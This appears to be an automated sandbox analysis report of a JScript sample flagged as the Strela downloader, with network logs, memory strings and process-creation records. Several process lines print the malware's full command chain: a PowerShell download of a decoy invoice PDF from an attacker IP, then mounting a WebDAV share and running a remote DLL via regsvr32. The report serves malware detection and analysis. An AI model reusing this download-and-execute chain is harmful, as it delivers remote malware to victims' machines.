HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2066402968.00000285ECA65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2123647333.00000261F77C8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2123125545.00000261F7819000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.2123192180.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2123724366.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/&
Source: net.exe, 00000007.00000003.2123192180.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2123724366.00000261F77F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: net.exe, 00000007.00000002.2123647333.00000261F77C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pacek
Source: svchost.exe, 00000009.00000002.3358927104.000001FB39800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2125457670.000001FB39560000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7164, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 27321191142887719888.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6548:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4hsluahw.1m4.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1520,i,12609673938497949389,15073909671236922757,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1520,i,12609673938497949389,15073909671236922757,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
